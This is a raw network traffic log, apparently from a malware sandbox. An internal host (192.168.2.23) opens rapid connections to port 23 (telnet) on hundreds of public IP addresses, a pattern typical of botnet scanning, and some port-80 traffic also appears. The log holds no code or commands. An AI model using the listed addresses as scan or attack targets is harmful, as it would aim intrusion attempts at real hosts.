Dec 3, 2024 22:11:48.231847048 CET	80	38762	51.134.184.47	192.168.2.23
Dec 3, 2024 22:11:48.240448952 CET	80	38442	158.241.3.93	192.168.2.23
Dec 3, 2024 22:11:48.240502119 CET	38442	80	192.168.2.23	158.241.3.93
Dec 3, 2024 22:11:48.240530968 CET	38442	80	192.168.2.23	158.241.3.93
Dec 3, 2024 22:11:48.243608952 CET	80	42484	144.30.94.29	192.168.2.23
Dec 3, 2024 22:11:48.243691921 CET	80	60248	217.26.115.252	192.168.2.23
Dec 3, 2024 22:11:48.243700981 CET	80	43048	77.9.102.153	192.168.2.23
Dec 3, 2024 22:11:48.243710041 CET	80	42346	54.224.48.72	192.168.2.23
Dec 3, 2024 22:11:48.243789911 CET	80	54236	160.247.51.9	192.168.2.23
Dec 3, 2024 22:11:48.243801117 CET	80	34558	59.75.42.59	192.168.2.23
Dec 3, 2024 22:11:48.244075060 CET	80	34600	59.75.42.59	192.168.2.23
Dec 3, 2024 22:11:48.244159937 CET	34600	80	192.168.2.23	59.75.42.59
Dec 3, 2024 22:11:48.244159937 CET	34600	80	192.168.2.23	59.75.42.59
Dec 3, 2024 22:11:48.247725964 CET	80	58948	188.239.8.166	192.168.2.23
Dec 3, 2024 22:11:48.247735977 CET	80	60630	170.111.11.90	192.168.2.23
Dec 3, 2024 22:11:48.247750044 CET	80	51872	217.229.54.255	192.168.2.23
Dec 3, 2024 22:11:48.255723953 CET	80	56886	180.14.36.140	192.168.2.23
Dec 3, 2024 22:11:48.283859968 CET	80	38370	158.241.3.93	192.168.2.23
Dec 3, 2024 22:11:48.287631989 CET	80	34558	59.75.42.59	192.168.2.23
Dec 3, 2024 22:11:48.304896116 CET	8163	23	192.168.2.23	37.189.171.252
Dec 3, 2024 22:11:48.304896116 CET	8163	23	192.168.2.23	12.154.107.208
Dec 3, 2024 22:11:48.304930925 CET	8163	23	192.168.2.23	40.204.238.40
Dec 3, 2024 22:11:48.304932117 CET	8163	23	192.168.2.23	177.212.167.100
Dec 3, 2024 22:11:48.304933071 CET	8163	23	192.168.2.23	20.226.23.128
Dec 3, 2024 22:11:48.304934978 CET	8163	23	192.168.2.23	34.117.26.124
Dec 3, 2024 22:11:48.304939985 CET	8163	23	192.168.2.23	202.225.237.227
Dec 3, 2024 22:11:48.304940939 CET	8163	23	192.168.2.23	61.70.180.72
Dec 3, 2024 22:11:48.304941893 CET	8163	23	192.168.2.23	218.173.214.23
Dec 3, 2024 22:11:48.304941893 CET	8163	23	192.168.2.23	181.217.113.233
Dec 3, 2024 22:11:48.304941893 CET	8163	23	192.168.2.23	96.49.151.46
Dec 3, 2024 22:11:48.304961920 CET	8163	23	192.168.2.23	198.71.33.166
Dec 3, 2024 22:11:48.304965019 CET	8163	23	192.168.2.23	136.37.19.151
Dec 3, 2024 22:11:48.304965019 CET	8163	23	192.168.2.23	118.66.159.186
Dec 3, 2024 22:11:48.304965019 CET	8163	23	192.168.2.23	25.126.185.224
Dec 3, 2024 22:11:48.304965019 CET	8163	23	192.168.2.23	59.158.4.233
Dec 3, 2024 22:11:48.304965019 CET	8163	23	192.168.2.23	146.231.219.227
Dec 3, 2024 22:11:48.304965019 CET	8163	23	192.168.2.23	84.82.230.232
Dec 3, 2024 22:11:48.304965019 CET	8163	23	192.168.2.23	124.83.178.96
Dec 3, 2024 22:11:48.304965019 CET	8163	23	192.168.2.23	136.202.120.174
Dec 3, 2024 22:11:48.304970980 CET	8163	23	192.168.2.23	113.72.55.204
Dec 3, 2024 22:11:48.304970980 CET	8163	23	192.168.2.23	24.29.128.166
Dec 3, 2024 22:11:48.304970980 CET	8163	23	192.168.2.23	174.210.147.43
Dec 3, 2024 22:11:48.304975986 CET	8163	23	192.168.2.23	113.22.41.53
Dec 3, 2024 22:11:48.304975986 CET	8163	23	192.168.2.23	132.66.191.63
Dec 3, 2024 22:11:48.304975986 CET	8163	23	192.168.2.23	209.56.145.159
Dec 3, 2024 22:11:48.304986000 CET	8163	23	192.168.2.23	180.74.69.173
Dec 3, 2024 22:11:48.304986000 CET	8163	23	192.168.2.23	193.12.0.189
Dec 3, 2024 22:11:48.304991961 CET	8163	23	192.168.2.23	113.39.94.59
Dec 3, 2024 22:11:48.304991961 CET	8163	23	192.168.2.23	133.161.167.139
Dec 3, 2024 22:11:48.304995060 CET	8163	23	192.168.2.23	158.62.193.133
Dec 3, 2024 22:11:48.304996014 CET	8163	23	192.168.2.23	221.250.158.2
Dec 3, 2024 22:11:48.304996014 CET	8163	23	192.168.2.23	188.105.172.249
Dec 3, 2024 22:11:48.304996014 CET	8163	23	192.168.2.23	221.89.68.164
Dec 3, 2024 22:11:48.304996014 CET	8163	23	192.168.2.23	68.80.212.202
Dec 3, 2024 22:11:48.304996014 CET	8163	23	192.168.2.23	196.55.126.41
Dec 3, 2024 22:11:48.304999113 CET	8163	23	192.168.2.23	125.94.104.146
Dec 3, 2024 22:11:48.305011034 CET	8163	23	192.168.2.23	144.147.15.128
Dec 3, 2024 22:11:48.305017948 CET	8163	23	192.168.2.23	163.182.129.77
Dec 3, 2024 22:11:48.305028915 CET	8163	23	192.168.2.23	140.184.27.4
Dec 3, 2024 22:11:48.305028915 CET	8163	23	192.168.2.23	68.254.149.115
Dec 3, 2024 22:11:48.305030107 CET	8163	23	192.168.2.23	89.146.134.52
Dec 3, 2024 22:11:48.305028915 CET	8163	23	192.168.2.23	152.152.186.193
Dec 3, 2024 22:11:48.305030107 CET	8163	23	192.168.2.23	142.96.59.98
Dec 3, 2024 22:11:48.305030107 CET	8163	23	192.168.2.23	143.16.251.100
Dec 3, 2024 22:11:48.305032015 CET	8163	23	192.168.2.23	73.236.106.201
Dec 3, 2024 22:11:48.305032015 CET	8163	23	192.168.2.23	52.151.235.47
Dec 3, 2024 22:11:48.305032969 CET	8163	23	192.168.2.23	135.38.246.51
Dec 3, 2024 22:11:48.305032969 CET	8163	23	192.168.2.23	17.131.121.73
Dec 3, 2024 22:11:48.305032969 CET	8163	23	192.168.2.23	177.193.124.205
Dec 3, 2024 22:11:48.305048943 CET	8163	23	192.168.2.23	107.11.245.30
Dec 3, 2024 22:11:48.305048943 CET	8163	23	192.168.2.23	63.48.253.157
Dec 3, 2024 22:11:48.305048943 CET	8163	23	192.168.2.23	103.103.198.244
Dec 3, 2024 22:11:48.305048943 CET	8163	23	192.168.2.23	72.191.215.42
Dec 3, 2024 22:11:48.305052042 CET	8163	23	192.168.2.23	88.218.189.120
Dec 3, 2024 22:11:48.305052996 CET	8163	23	192.168.2.23	96.249.86.234
Dec 3, 2024 22:11:48.305056095 CET	8163	23	192.168.2.23	71.68.166.46
Dec 3, 2024 22:11:48.305056095 CET	8163	23	192.168.2.23	72.71.55.29
Dec 3, 2024 22:11:48.305056095 CET	8163	23	192.168.2.23	135.18.198.96
Dec 3, 2024 22:11:48.305057049 CET	8163	23	192.168.2.23	179.53.60.192
Dec 3, 2024 22:11:48.305056095 CET	8163	23	192.168.2.23	116.101.48.112
Dec 3, 2024 22:11:48.305057049 CET	8163	23	192.168.2.23	88.242.148.40
Dec 3, 2024 22:11:48.305058956 CET	8163	23	192.168.2.23	188.60.248.44
Dec 3, 2024 22:11:48.305058956 CET	8163	23	192.168.2.23	208.11.26.217
Dec 3, 2024 22:11:48.305058956 CET	8163	23	192.168.2.23	209.86.236.197
Dec 3, 2024 22:11:48.305068016 CET	8163	23	192.168.2.23	178.87.168.13
Dec 3, 2024 22:11:48.305068970 CET	8163	23	192.168.2.23	48.187.148.138
Dec 3, 2024 22:11:48.305089951 CET	8163	23	192.168.2.23	17.90.85.187
Dec 3, 2024 22:11:48.305090904 CET	8163	23	192.168.2.23	88.91.196.15
Dec 3, 2024 22:11:48.305089951 CET	8163	23	192.168.2.23	222.236.67.115
Dec 3, 2024 22:11:48.305090904 CET	8163	23	192.168.2.23	148.45.108.120
Dec 3, 2024 22:11:48.305090904 CET	8163	23	192.168.2.23	189.39.49.196
Dec 3, 2024 22:11:48.305092096 CET	8163	23	192.168.2.23	82.152.229.140
Dec 3, 2024 22:11:48.305090904 CET	8163	23	192.168.2.23	110.199.170.44
Dec 3, 2024 22:11:48.305093050 CET	8163	23	192.168.2.23	104.69.174.121
Dec 3, 2024 22:11:48.305094957 CET	8163	23	192.168.2.23	111.236.149.97
Dec 3, 2024 22:11:48.305095911 CET	8163	23	192.168.2.23	114.91.13.231
Dec 3, 2024 22:11:48.305095911 CET	8163	23	192.168.2.23	197.174.125.148
Dec 3, 2024 22:11:48.305095911 CET	8163	23	192.168.2.23	135.27.213.236
Dec 3, 2024 22:11:48.305095911 CET	8163	23	192.168.2.23	105.57.125.188
Dec 3, 2024 22:11:48.305109978 CET	8163	23	192.168.2.23	34.243.157.201
Dec 3, 2024 22:11:48.305109978 CET	8163	23	192.168.2.23	109.186.239.33
Dec 3, 2024 22:11:48.305109978 CET	8163	23	192.168.2.23	104.109.85.106
Dec 3, 2024 22:11:48.305109978 CET	8163	23	192.168.2.23	69.109.91.44
Dec 3, 2024 22:11:48.305109978 CET	8163	23	192.168.2.23	159.219.222.29
Dec 3, 2024 22:11:48.305119991 CET	8163	23	192.168.2.23	217.113.91.136
Dec 3, 2024 22:11:48.305119991 CET	8163	23	192.168.2.23	152.73.180.168
Dec 3, 2024 22:11:48.305119991 CET	8163	23	192.168.2.23	25.93.114.116
Dec 3, 2024 22:11:48.305119991 CET	8163	23	192.168.2.23	71.169.86.44
Dec 3, 2024 22:11:48.305120945 CET	8163	23	192.168.2.23	79.191.1.133
Dec 3, 2024 22:11:48.305120945 CET	8163	23	192.168.2.23	12.82.178.214
Dec 3, 2024 22:11:48.305123091 CET	8163	23	192.168.2.23	108.234.159.22
Dec 3, 2024 22:11:48.305123091 CET	8163	23	192.168.2.23	131.217.71.201
Dec 3, 2024 22:11:48.305124044 CET	8163	23	192.168.2.23	158.213.158.221
Dec 3, 2024 22:11:48.305124044 CET	8163	23	192.168.2.23	88.232.36.125
Dec 3, 2024 22:11:48.305124044 CET	8163	23	192.168.2.23	25.224.47.88
Dec 3, 2024 22:11:48.305155993 CET	8163	23	192.168.2.23	195.12.68.102
Dec 3, 2024 22:11:48.305156946 CET	8163	23	192.168.2.23	34.195.184.163
Dec 3, 2024 22:11:48.305155993 CET	8163	23	192.168.2.23	154.43.170.108
Dec 3, 2024 22:11:48.305156946 CET	8163	23	192.168.2.23	154.182.211.122
Dec 3, 2024 22:11:48.305157900 CET	8163	23	192.168.2.23	159.138.173.88
Dec 3, 2024 22:11:48.305155993 CET	8163	23	192.168.2.23	193.208.213.72
Dec 3, 2024 22:11:48.305156946 CET	8163	23	192.168.2.23	119.17.44.134
Dec 3, 2024 22:11:48.305159092 CET	8163	23	192.168.2.23	74.247.253.90
Dec 3, 2024 22:11:48.305156946 CET	8163	23	192.168.2.23	116.79.131.131
Dec 3, 2024 22:11:48.305159092 CET	8163	23	192.168.2.23	105.204.208.192
Dec 3, 2024 22:11:48.305156946 CET	8163	23	192.168.2.23	59.172.134.63
Dec 3, 2024 22:11:48.305157900 CET	8163	23	192.168.2.23	116.90.123.237
Dec 3, 2024 22:11:48.305180073 CET	8163	23	192.168.2.23	125.19.22.245
Dec 3, 2024 22:11:48.305180073 CET	8163	23	192.168.2.23	109.90.16.180
Dec 3, 2024 22:11:48.305180073 CET	8163	23	192.168.2.23	207.152.68.122
Dec 3, 2024 22:11:48.305180073 CET	8163	23	192.168.2.23	65.111.208.246
Dec 3, 2024 22:11:48.305180073 CET	8163	23	192.168.2.23	147.80.212.69
Dec 3, 2024 22:11:48.305180073 CET	8163	23	192.168.2.23	105.170.120.5
Dec 3, 2024 22:11:48.305180073 CET	8163	23	192.168.2.23	38.240.144.88
Dec 3, 2024 22:11:48.305181980 CET	8163	23	192.168.2.23	105.167.169.255
Dec 3, 2024 22:11:48.305181980 CET	8163	23	192.168.2.23	188.111.46.224
Dec 3, 2024 22:11:48.305181980 CET	8163	23	192.168.2.23	223.48.251.192
Dec 3, 2024 22:11:48.305181980 CET	8163	23	192.168.2.23	178.18.200.134
Dec 3, 2024 22:11:48.305181980 CET	8163	23	192.168.2.23	188.18.11.133
Dec 3, 2024 22:11:48.305181980 CET	8163	23	192.168.2.23	135.218.76.141
Dec 3, 2024 22:11:48.305181980 CET	8163	23	192.168.2.23	203.1.38.59
Dec 3, 2024 22:11:48.305188894 CET	8163	23	192.168.2.23	111.216.232.209
Dec 3, 2024 22:11:48.305190086 CET	8163	23	192.168.2.23	168.21.159.246
Dec 3, 2024 22:11:48.305190086 CET	8163	23	192.168.2.23	27.36.106.46
Dec 3, 2024 22:11:48.305191040 CET	8163	23	192.168.2.23	20.129.159.199
Dec 3, 2024 22:11:48.305191994 CET	8163	23	192.168.2.23	5.13.97.135
Dec 3, 2024 22:11:48.305191994 CET	8163	23	192.168.2.23	67.30.70.176
Dec 3, 2024 22:11:48.305191994 CET	8163	23	192.168.2.23	176.255.35.242
Dec 3, 2024 22:11:48.305193901 CET	8163	23	192.168.2.23	48.6.50.71
Dec 3, 2024 22:11:48.305227041 CET	8163	23	192.168.2.23	45.9.18.7
Dec 3, 2024 22:11:48.305227995 CET	8163	23	192.168.2.23	153.183.3.91
Dec 3, 2024 22:11:48.305227995 CET	8163	23	192.168.2.23	45.103.254.122
Dec 3, 2024 22:11:48.305227995 CET	8163	23	192.168.2.23	88.96.232.103
Dec 3, 2024 22:11:48.305227995 CET	8163	23	192.168.2.23	213.68.177.135
Dec 3, 2024 22:11:48.305227995 CET	8163	23	192.168.2.23	5.224.110.198
Dec 3, 2024 22:11:48.305231094 CET	8163	23	192.168.2.23	189.62.63.84
Dec 3, 2024 22:11:48.305227041 CET	8163	23	192.168.2.23	57.198.246.23
Dec 3, 2024 22:11:48.305227995 CET	8163	23	192.168.2.23	130.68.207.166
Dec 3, 2024 22:11:48.305227995 CET	8163	23	192.168.2.23	117.158.14.200
Dec 3, 2024 22:11:48.305227041 CET	8163	23	192.168.2.23	204.35.182.191
Dec 3, 2024 22:11:48.305227995 CET	8163	23	192.168.2.23	132.149.17.189
Dec 3, 2024 22:11:48.305227041 CET	8163	23	192.168.2.23	59.141.114.6
Dec 3, 2024 22:11:48.305231094 CET	8163	23	192.168.2.23	164.97.40.95
Dec 3, 2024 22:11:48.305231094 CET	8163	23	192.168.2.23	184.9.209.225
Dec 3, 2024 22:11:48.305241108 CET	8163	23	192.168.2.23	138.205.138.12
Dec 3, 2024 22:11:48.305241108 CET	8163	23	192.168.2.23	132.72.84.75
Dec 3, 2024 22:11:48.305241108 CET	8163	23	192.168.2.23	192.212.46.215
Dec 3, 2024 22:11:48.305241108 CET	8163	23	192.168.2.23	82.210.124.100
Dec 3, 2024 22:11:48.305241108 CET	8163	23	192.168.2.23	12.49.181.121
Dec 3, 2024 22:11:48.305255890 CET	8163	23	192.168.2.23	67.173.221.53
Dec 3, 2024 22:11:48.305255890 CET	8163	23	192.168.2.23	96.232.129.70
Dec 3, 2024 22:11:48.305255890 CET	8163	23	192.168.2.23	105.57.20.158
Dec 3, 2024 22:11:48.305257082 CET	8163	23	192.168.2.23	47.40.154.241
Dec 3, 2024 22:11:48.305255890 CET	8163	23	192.168.2.23	25.69.36.172
Dec 3, 2024 22:11:48.305257082 CET	8163	23	192.168.2.23	79.221.44.117
Dec 3, 2024 22:11:48.305257082 CET	8163	23	192.168.2.23	35.83.178.10
Dec 3, 2024 22:11:48.305258989 CET	8163	23	192.168.2.23	159.95.167.241
Dec 3, 2024 22:11:48.305257082 CET	8163	23	192.168.2.23	182.176.197.97
Dec 3, 2024 22:11:48.305258036 CET	8163	23	192.168.2.23	174.186.28.245
Dec 3, 2024 22:11:48.305257082 CET	8163	23	192.168.2.23	119.7.231.192
Dec 3, 2024 22:11:48.305258036 CET	8163	23	192.168.2.23	31.95.89.120
Dec 3, 2024 22:11:48.305272102 CET	8163	23	192.168.2.23	179.198.82.41
Dec 3, 2024 22:11:48.305273056 CET	8163	23	192.168.2.23	45.92.136.186
Dec 3, 2024 22:11:48.305296898 CET	8163	23	192.168.2.23	212.50.206.196
Dec 3, 2024 22:11:48.305296898 CET	8163	23	192.168.2.23	27.179.20.249
Dec 3, 2024 22:11:48.305296898 CET	8163	23	192.168.2.23	112.148.12.217
Dec 3, 2024 22:11:48.305296898 CET	8163	23	192.168.2.23	176.9.159.95
Dec 3, 2024 22:11:48.305296898 CET	8163	23	192.168.2.23	49.109.199.180
Dec 3, 2024 22:11:48.305299044 CET	8163	23	192.168.2.23	124.170.127.230
Dec 3, 2024 22:11:48.305299044 CET	8163	23	192.168.2.23	42.172.61.137
Dec 3, 2024 22:11:48.305299044 CET	8163	23	192.168.2.23	200.13.171.168
Dec 3, 2024 22:11:48.305299997 CET	8163	23	192.168.2.23	88.2.129.209
Dec 3, 2024 22:11:48.305299044 CET	8163	23	192.168.2.23	205.3.48.154
Dec 3, 2024 22:11:48.305300951 CET	8163	23	192.168.2.23	192.174.198.228
Dec 3, 2024 22:11:48.305299044 CET	8163	23	192.168.2.23	105.216.206.236
Dec 3, 2024 22:11:48.305300951 CET	8163	23	192.168.2.23	152.167.91.156
Dec 3, 2024 22:11:48.305299044 CET	8163	23	192.168.2.23	90.166.158.0
Dec 3, 2024 22:11:48.305300951 CET	8163	23	192.168.2.23	167.43.169.13
Dec 3, 2024 22:11:48.305299044 CET	8163	23	192.168.2.23	90.146.160.139
Dec 3, 2024 22:11:48.305300951 CET	8163	23	192.168.2.23	139.68.66.170
Dec 3, 2024 22:11:48.305315018 CET	8163	23	192.168.2.23	117.190.130.233
Dec 3, 2024 22:11:48.305315018 CET	8163	23	192.168.2.23	199.121.141.5
Dec 3, 2024 22:11:48.305315971 CET	8163	23	192.168.2.23	194.181.157.65
Dec 3, 2024 22:11:48.305316925 CET	8163	23	192.168.2.23	153.43.226.98
Dec 3, 2024 22:11:48.305316925 CET	8163	23	192.168.2.23	219.177.22.48
Dec 3, 2024 22:11:48.305316925 CET	8163	23	192.168.2.23	167.79.34.181
Dec 3, 2024 22:11:48.305330992 CET	8163	23	192.168.2.23	223.36.100.173
Dec 3, 2024 22:11:48.305330992 CET	8163	23	192.168.2.23	213.33.175.94
Dec 3, 2024 22:11:48.305330992 CET	8163	23	192.168.2.23	114.184.238.27
Dec 3, 2024 22:11:48.305330992 CET	8163	23	192.168.2.23	95.187.83.235
Dec 3, 2024 22:11:48.305341959 CET	8163	23	192.168.2.23	173.200.190.55
Dec 3, 2024 22:11:48.305341959 CET	8163	23	192.168.2.23	106.72.222.104
Dec 3, 2024 22:11:48.305342913 CET	8163	23	192.168.2.23	96.170.35.99
Dec 3, 2024 22:11:48.305344105 CET	8163	23	192.168.2.23	79.123.90.65
Dec 3, 2024 22:11:48.305342913 CET	8163	23	192.168.2.23	211.0.156.81
Dec 3, 2024 22:11:48.305341959 CET	8163	23	192.168.2.23	68.246.253.221
Dec 3, 2024 22:11:48.305342913 CET	8163	23	192.168.2.23	118.29.180.96
Dec 3, 2024 22:11:48.305344105 CET	8163	23	192.168.2.23	80.206.184.121
Dec 3, 2024 22:11:48.305342913 CET	8163	23	192.168.2.23	212.64.75.2
Dec 3, 2024 22:11:48.305342913 CET	8163	23	192.168.2.23	208.197.164.109
Dec 3, 2024 22:11:48.305342913 CET	8163	23	192.168.2.23	179.32.114.254
Dec 3, 2024 22:11:48.305342913 CET	8163	23	192.168.2.23	17.21.204.93
Dec 3, 2024 22:11:48.305342913 CET	8163	23	192.168.2.23	149.29.208.35
Dec 3, 2024 22:11:48.305366993 CET	8163	23	192.168.2.23	2.185.22.230
Dec 3, 2024 22:11:48.305366993 CET	8163	23	192.168.2.23	199.137.147.25
Dec 3, 2024 22:11:48.305372953 CET	8163	23	192.168.2.23	168.76.211.97
Dec 3, 2024 22:11:48.305372953 CET	8163	23	192.168.2.23	54.137.63.69
Dec 3, 2024 22:11:48.305372953 CET	8163	23	192.168.2.23	143.198.31.250
Dec 3, 2024 22:11:48.305388927 CET	8163	23	192.168.2.23	77.224.38.27
Dec 3, 2024 22:11:48.305388927 CET	8163	23	192.168.2.23	53.253.149.191
Dec 3, 2024 22:11:48.305388927 CET	8163	23	192.168.2.23	61.230.90.119
Dec 3, 2024 22:11:48.305389881 CET	8163	23	192.168.2.23	139.177.205.185
Dec 3, 2024 22:11:48.305389881 CET	8163	23	192.168.2.23	134.3.109.86
Dec 3, 2024 22:11:48.305389881 CET	8163	23	192.168.2.23	122.226.141.92
Dec 3, 2024 22:11:48.305391073 CET	8163	23	192.168.2.23	102.145.188.54
Dec 3, 2024 22:11:48.305391073 CET	8163	23	192.168.2.23	185.203.224.198
Dec 3, 2024 22:11:48.305392027 CET	8163	23	192.168.2.23	159.67.166.104
Dec 3, 2024 22:11:48.305392027 CET	8163	23	192.168.2.23	172.12.3.27
Dec 3, 2024 22:11:48.305394888 CET	8163	23	192.168.2.23	66.35.60.243
Dec 3, 2024 22:11:48.305394888 CET	8163	23	192.168.2.23	121.27.56.189
Dec 3, 2024 22:11:48.305394888 CET	8163	23	192.168.2.23	48.102.143.224
Dec 3, 2024 22:11:48.305394888 CET	8163	23	192.168.2.23	202.251.157.5
Dec 3, 2024 22:11:48.305397987 CET	8163	23	192.168.2.23	162.86.197.187
Dec 3, 2024 22:11:48.305397987 CET	8163	23	192.168.2.23	70.204.89.237
Dec 3, 2024 22:11:48.305397987 CET	8163	23	192.168.2.23	60.23.45.125
Dec 3, 2024 22:11:48.305401087 CET	8163	23	192.168.2.23	125.135.71.167
Dec 3, 2024 22:11:48.305458069 CET	8163	23	192.168.2.23	205.156.81.70
Dec 3, 2024 22:11:48.305458069 CET	8163	23	192.168.2.23	168.74.126.89
Dec 3, 2024 22:11:48.305459023 CET	8163	23	192.168.2.23	106.253.55.162
Dec 3, 2024 22:11:48.305458069 CET	8163	23	192.168.2.23	13.216.155.247
Dec 3, 2024 22:11:48.305459976 CET	8163	23	192.168.2.23	96.182.157.62
Dec 3, 2024 22:11:48.305459023 CET	8163	23	192.168.2.23	180.119.73.247
Dec 3, 2024 22:11:48.305460930 CET	8163	23	192.168.2.23	66.16.61.148
Dec 3, 2024 22:11:48.305458069 CET	8163	23	192.168.2.23	130.112.183.63
Dec 3, 2024 22:11:48.305460930 CET	8163	23	192.168.2.23	176.102.184.138
Dec 3, 2024 22:11:48.305459976 CET	8163	23	192.168.2.23	204.159.240.35
Dec 3, 2024 22:11:48.305460930 CET	8163	23	192.168.2.23	111.238.33.226
Dec 3, 2024 22:11:48.305459023 CET	8163	23	192.168.2.23	96.228.82.107
Dec 3, 2024 22:11:48.305459976 CET	8163	23	192.168.2.23	46.150.179.33
Dec 3, 2024 22:11:48.305461884 CET	8163	23	192.168.2.23	122.144.109.47
Dec 3, 2024 22:11:48.305459976 CET	8163	23	192.168.2.23	160.60.49.178
Dec 3, 2024 22:11:48.305463076 CET	8163	23	192.168.2.23	17.113.13.180
Dec 3, 2024 22:11:48.305459976 CET	8163	23	192.168.2.23	128.123.240.235
Dec 3, 2024 22:11:48.305461884 CET	8163	23	192.168.2.23	78.6.138.143
Dec 3, 2024 22:11:48.305463076 CET	8163	23	192.168.2.23	82.43.76.162
Dec 3, 2024 22:11:48.305459976 CET	8163	23	192.168.2.23	126.40.107.161
Dec 3, 2024 22:11:48.305459976 CET	8163	23	192.168.2.23	61.86.62.86
Dec 3, 2024 22:11:48.305464029 CET	8163	23	192.168.2.23	42.107.193.192
Dec 3, 2024 22:11:48.305461884 CET	8163	23	192.168.2.23	125.99.24.67
Dec 3, 2024 22:11:48.305463076 CET	8163	23	192.168.2.23	138.120.45.236
Dec 3, 2024 22:11:48.305461884 CET	8163	23	192.168.2.23	68.63.84.139
Dec 3, 2024 22:11:48.305464029 CET	8163	23	192.168.2.23	223.27.106.222
Dec 3, 2024 22:11:48.305463076 CET	8163	23	192.168.2.23	168.164.143.178
Dec 3, 2024 22:11:48.305464029 CET	8163	23	192.168.2.23	181.169.89.152
Dec 3, 2024 22:11:48.305463076 CET	8163	23	192.168.2.23	69.206.169.119
Dec 3, 2024 22:11:48.305464029 CET	8163	23	192.168.2.23	41.1.82.28
Dec 3, 2024 22:11:48.305463076 CET	8163	23	192.168.2.23	160.79.188.71
Dec 3, 2024 22:11:48.305464029 CET	8163	23	192.168.2.23	126.89.27.112
Dec 3, 2024 22:11:48.305464029 CET	8163	23	192.168.2.23	115.2.125.38
Dec 3, 2024 22:11:48.305490017 CET	8163	23	192.168.2.23	175.209.10.51
Dec 3, 2024 22:11:48.305490017 CET	8163	23	192.168.2.23	183.227.205.56
Dec 3, 2024 22:11:48.305527925 CET	8163	23	192.168.2.23	126.168.97.123
Dec 3, 2024 22:11:48.305527925 CET	8163	23	192.168.2.23	37.91.80.154
Dec 3, 2024 22:11:48.305529118 CET	8163	23	192.168.2.23	139.227.38.78
Dec 3, 2024 22:11:48.305531979 CET	8163	23	192.168.2.23	113.25.163.219
Dec 3, 2024 22:11:48.305527925 CET	8163	23	192.168.2.23	36.86.37.244
Dec 3, 2024 22:11:48.305530071 CET	8163	23	192.168.2.23	35.31.99.22
Dec 3, 2024 22:11:48.305529118 CET	8163	23	192.168.2.23	135.167.42.126
Dec 3, 2024 22:11:48.305527925 CET	8163	23	192.168.2.23	155.82.55.14
Dec 3, 2024 22:11:48.305530071 CET	8163	23	192.168.2.23	208.156.76.70
Dec 3, 2024 22:11:48.305527925 CET	8163	23	192.168.2.23	70.234.167.68
Dec 3, 2024 22:11:48.305530071 CET	8163	23	192.168.2.23	85.218.54.100
Dec 3, 2024 22:11:48.305531979 CET	8163	23	192.168.2.23	66.239.66.231
Dec 3, 2024 22:11:48.305529118 CET	8163	23	192.168.2.23	113.26.198.105
Dec 3, 2024 22:11:48.305531979 CET	8163	23	192.168.2.23	76.109.35.184
Dec 3, 2024 22:11:48.305529118 CET	8163	23	192.168.2.23	57.244.88.118
Dec 3, 2024 22:11:48.305530071 CET	8163	23	192.168.2.23	1.118.13.150
Dec 3, 2024 22:11:48.305533886 CET	8163	23	192.168.2.23	204.175.127.237
Dec 3, 2024 22:11:48.305530071 CET	8163	23	192.168.2.23	114.7.90.231
Dec 3, 2024 22:11:48.305529118 CET	8163	23	192.168.2.23	96.7.217.20
Dec 3, 2024 22:11:48.305529118 CET	8163	23	192.168.2.23	118.15.129.60
Dec 3, 2024 22:11:48.305531979 CET	8163	23	192.168.2.23	93.78.137.211
Dec 3, 2024 22:11:48.305529118 CET	8163	23	192.168.2.23	84.61.98.64
Dec 3, 2024 22:11:48.305530071 CET	8163	23	192.168.2.23	42.111.127.190
Dec 3, 2024 22:11:48.305529118 CET	8163	23	192.168.2.23	210.155.104.82
Dec 3, 2024 22:11:48.305533886 CET	8163	23	192.168.2.23	8.175.231.95
Dec 3, 2024 22:11:48.305529118 CET	8163	23	192.168.2.23	113.31.82.222
Dec 3, 2024 22:11:48.305530071 CET	8163	23	192.168.2.23	13.40.188.46
Dec 3, 2024 22:11:48.305533886 CET	8163	23	192.168.2.23	74.15.9.166
Dec 3, 2024 22:11:48.305530071 CET	8163	23	192.168.2.23	80.236.176.161
Dec 3, 2024 22:11:48.305533886 CET	8163	23	192.168.2.23	163.246.117.107
Dec 3, 2024 22:11:48.305533886 CET	8163	23	192.168.2.23	163.11.179.212
Dec 3, 2024 22:11:48.305533886 CET	8163	23	192.168.2.23	177.63.20.160
Dec 3, 2024 22:11:48.305545092 CET	8163	23	192.168.2.23	98.162.155.125
Dec 3, 2024 22:11:48.305533886 CET	8163	23	192.168.2.23	106.63.37.67
Dec 3, 2024 22:11:48.305545092 CET	8163	23	192.168.2.23	208.29.255.236
Dec 3, 2024 22:11:48.305529118 CET	8163	23	192.168.2.23	62.145.111.143
Dec 3, 2024 22:11:48.305545092 CET	8163	23	192.168.2.23	98.81.80.246
Dec 3, 2024 22:11:48.305533886 CET	8163	23	192.168.2.23	157.183.105.34
Dec 3, 2024 22:11:48.305529118 CET	8163	23	192.168.2.23	41.96.87.101
Dec 3, 2024 22:11:48.305558920 CET	8163	23	192.168.2.23	91.195.188.47
Dec 3, 2024 22:11:48.305571079 CET	8163	23	192.168.2.23	82.47.180.64
Dec 3, 2024 22:11:48.305572033 CET	8163	23	192.168.2.23	101.102.214.24
Dec 3, 2024 22:11:48.305572033 CET	8163	23	192.168.2.23	62.177.200.129
Dec 3, 2024 22:11:48.305578947 CET	8163	23	192.168.2.23	160.7.179.10
Dec 3, 2024 22:11:48.305578947 CET	8163	23	192.168.2.23	185.90.114.75
Dec 3, 2024 22:11:48.305578947 CET	8163	23	192.168.2.23	86.172.110.167
Dec 3, 2024 22:11:48.305578947 CET	8163	23	192.168.2.23	153.176.239.89
Dec 3, 2024 22:11:48.305581093 CET	8163	23	192.168.2.23	145.220.205.125
Dec 3, 2024 22:11:48.305581093 CET	8163	23	192.168.2.23	120.157.126.25
Dec 3, 2024 22:11:48.305581093 CET	8163	23	192.168.2.23	183.214.230.131
Dec 3, 2024 22:11:48.305581093 CET	8163	23	192.168.2.23	101.44.118.17
Dec 3, 2024 22:11:48.305581093 CET	8163	23	192.168.2.23	114.255.78.245
Dec 3, 2024 22:11:48.305582047 CET	8163	23	192.168.2.23	61.55.8.217
Dec 3, 2024 22:11:48.305582047 CET	8163	23	192.168.2.23	116.119.190.64
Dec 3, 2024 22:11:48.305583000 CET	8163	23	192.168.2.23	167.161.231.229
Dec 3, 2024 22:11:48.305581093 CET	8163	23	192.168.2.23	133.186.122.25
Dec 3, 2024 22:11:48.305582047 CET	8163	23	192.168.2.23	19.238.233.100
Dec 3, 2024 22:11:48.305581093 CET	8163	23	192.168.2.23	146.104.206.226
Dec 3, 2024 22:11:48.305582047 CET	8163	23	192.168.2.23	180.160.127.17
